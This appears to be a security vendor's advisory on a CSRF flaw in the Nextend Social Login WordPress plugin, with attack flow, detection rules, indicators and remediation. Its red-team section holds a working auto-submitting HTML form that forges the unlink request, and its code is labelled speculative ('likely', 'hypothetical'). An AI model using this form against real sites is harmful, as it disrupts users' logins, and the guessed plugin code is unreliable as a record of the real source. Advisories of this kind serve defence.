CVE-2025-13737

Executive Summary

CVE-2025-13737 is a Cross-Site Request Forgery (CSRF) vulnerability in the Nextend Social Login and Register plugin for WordPress, affecting all versions up to and including 3.1.21. The flaw resides in the unlinkUser function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when executed by a logged-in site administrator (e.g., via a malicious link), can unlink a user's social login provider. The impact is limited to disruption of social login functionality, potentially locking users out of their accounts if no other authentication method is configured. The vulnerability has a CVSS score of 4.3 (Medium) and a very low EPSS score (0.0%), indicating low exploitation likelihood in the wild. No public proof-of-concept or exploit code is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using the Nextend Social Login and Register plugin version 3.1.21 or earlier is potentially affected. The plugin is widely used for social login integration, and the lack of a patch increases the risk of account disruption attacks. Administrators should monitor the plugin's update channel for a patched version and consider temporary workarounds.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the attacker must trick an administrator into clicking a link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – social login unlinking.
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires social engineering, but the impact can be significant if users rely solely on social login.

Deep Dive & Mechanics

The vulnerability exists in the unlinkUser function of the Nextend Social Login and Register plugin. This function is intended to allow users to unlink their social login accounts from their WordPress profile. However, the function does not implement a nonce check (CSRF token) to verify that the request originated from the legitimate user. As a result, an attacker can craft a malicious HTTP request (e.g., a GET or POST request to the vulnerable endpoint) that, when triggered by an authenticated administrator, will unlink the administrator's social login provider.

The attack flow:

1. The attacker identifies a target WordPress site using the vulnerable plugin.
2. The attacker crafts a URL or HTML form that sends a request to the unlinkUser endpoint (e.g., /wp-admin/admin-ajax.php?action=nextend_social_login_unlink_user).
3. The attacker tricks a logged-in administrator into clicking the link or submitting the form (e.g., via phishing email, malicious ad, or XSS).
4. The administrator's browser sends the forged request, which is processed by the plugin without CSRF validation.
5. The social login provider is unlinked from the administrator's account, potentially locking them out if no other authentication method exists.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.1.21): The unlinkUser function likely lacks a nonce check. Example (pseudo-code):

function unlinkUser() {
    $user_id = get_current_user_id();
    // No nonce verification
    delete_user_meta($user_id, 'nextend_social_login_provider');
    wp_die();
}
add_action('wp_ajax_nextend_social_login_unlink_user', 'unlinkUser');

Patched Code (hypothetical): A patched version would include a nonce check:

function unlinkUser() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'nextend_social_login_unlink_user')) {
        wp_die('CSRF validation failed.');
    }
    $user_id = get_current_user_id();
    delete_user_meta($user_id, 'nextend_social_login_provider');
    wp_die();
}
add_action('wp_ajax_nextend_social_login_unlink_user', 'unlinkUser');

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Nextend Social Login and Register plugin version <= 3.1.21.
• An administrator account logged in.
• A social login provider (e.g., Google, Facebook) linked to the admin account.

Exploitation Steps:

1. Identify the AJAX action endpoint: /wp-admin/admin-ajax.php?action=nextend_social_login_unlink_user.
2. Craft a malicious HTML page that auto-submits a form to the endpoint:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="nextend_social_login_unlink_user">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

3. Host the page and send the link to the target administrator (e.g., via email).
4. Once the admin visits the page, the form auto-submits, unlinking their social login.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Defense)

Detection:

• Monitor for requests to /wp-admin/admin-ajax.php with action=nextend_social_login_unlink_user from unexpected referrers or without a valid nonce.
• Alert on multiple failed login attempts after social login unlinking.

Defense:

• Apply the principle of least privilege: restrict admin account usage.
• Use Web Application Firewall (WAF) rules to block requests to the vulnerable endpoint without a valid nonce.
• Implement additional CSRF protections (e.g., SameSite cookies, custom headers).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=nextend_social_login_unlink_user parameter.
  • Referrer headers from external domains (phishing pages).
• Host IOCs:
  • Log entries in WordPress debug log showing nextend_social_login_unlink_user action without nonce.
  • Deletion of nextend_social_login_provider user meta entries.
• File IOCs:
  • Modified or missing nonce checks in plugin files (e.g., class-nextend-social-login.php).

Detection Engineering

YARA Rule

rule Detect_Nextend_CSRF_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-13737 in Nextend Social Login plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13737"
    strings:
        $ajax_action = "nextend_social_login_unlink_user"
        $wp_ajax = "wp_ajax_nextend_social_login_unlink_user"
    condition:
        any of them
}

Sigma Rule

title: Nextend Social Login CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable unlinkUser function in Nextend Social Login plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=nextend_social_login_unlink_user'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13737 Nextend Social Login CSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=nextend_social_login_unlink_user"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if social login is not critical, until a patch is released.
2. Implement a virtual patch using a WAF to block requests to admin-ajax.php with action=nextend_social_login_unlink_user unless a valid nonce is present.
3. Educate administrators about phishing attacks that could trigger CSRF.

Long-Term Fix:

• Monitor the Nextend plugin repository for a patched version (expected to include nonce validation).
• Apply the update as soon as it becomes available.
• Consider using alternative social login plugins with active security maintenance.

Workaround:

• Add a custom function to your theme's functions.php to add nonce validation:

add_action('wp_ajax_nextend_social_login_unlink_user', function() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'nextend_social_login_unlink_user')) {
        wp_die('CSRF validation failed.');
    }
}, 1);

Valters IT
Securing Digital Frontiers